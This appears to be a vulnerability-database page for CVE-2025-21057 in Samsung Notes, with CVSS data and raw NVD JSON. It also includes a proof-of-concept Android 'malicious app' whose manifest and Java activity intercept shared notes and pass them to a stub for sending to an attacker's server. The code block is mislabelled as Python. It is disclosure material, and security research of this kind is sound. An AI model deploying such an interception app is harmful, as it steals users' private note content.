Security Vulnerability Report
中文
CVE-2025-21057 CVSS 4.0 MEDIUM

CVE-2025-21057

Published: 2025-10-10 07:15:41
Last Modified: 2025-10-20 18:42:07

Description

Use of implicit intent for sensitive communication in Samsung Notes prior to version 4.4.30.63 allows local attackers to access shared notes.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:samsung:notes:*:*:*:*:*:*:*:* - VULNERABLE
Samsung Notes < 4.4.30.63

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2025-21057: Samsung Notes Implicit Intent Hijacking * This PoC demonstrates how a malicious app can intercept implicit intents * sent by Samsung Notes when sharing notes. * * Steps to reproduce: * 1. Install this malicious app on the same device as Samsung Notes (< 4.4.30.63) * 2. Open Samsung Notes and attempt to share a note * 3. The malicious app will appear in the share sheet and can intercept the note content */ // AndroidManifest.xml - Register intent filter to intercept Samsung Notes sharing intents /* <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.attacker.notesharer"> <application> <activity android:name=".InterceptActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.SEND" /> <category android:name="android.intent.category.DEFAULT" /> <data android:mimeType="text/plain" /> <data android:mimeType="application/*" /> <data android:mimeType="image/*" /> </intent-filter> </activity> </application> </manifest> */ // InterceptActivity.java - Malicious activity to capture shared note content import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.util.Log; public class InterceptActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent intent = getIntent(); String action = intent.getAction(); String type = intent.getType(); if (Intent.ACTION_SEND.equals(action) && type != null) { // Extract the shared note content String sharedText = intent.getStringExtra(Intent.EXTRA_TEXT); String sharedTitle = intent.getStringExtra(Intent.EXTRA_SUBJECT); // Log/exfiltrate the captured sensitive note data Log.d("CVE-2025-21057", "Intercepted note title: " + sharedTitle); Log.d("CVE-2025-21057", "Intercepted note content: " + sharedText); // Send captured data to attacker's server exfiltrateData(sharedTitle, sharedText); } } private void exfiltrateData(String title, String content) { // Implementation to send captured data to attacker's server // e.g., via HTTP POST to attacker's C2 server } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21057", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:41.457", "lastModified": "2025-10-20T18:42:06.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of implicit intent for sensitive communication in Samsung Notes prior to version 4.4.30.63 allows local attackers to access shared notes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:notes:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.30.63", "matchCriteriaId": "5029C1F8-35E0-44F9-B0CE-000486E267EB"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=10", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}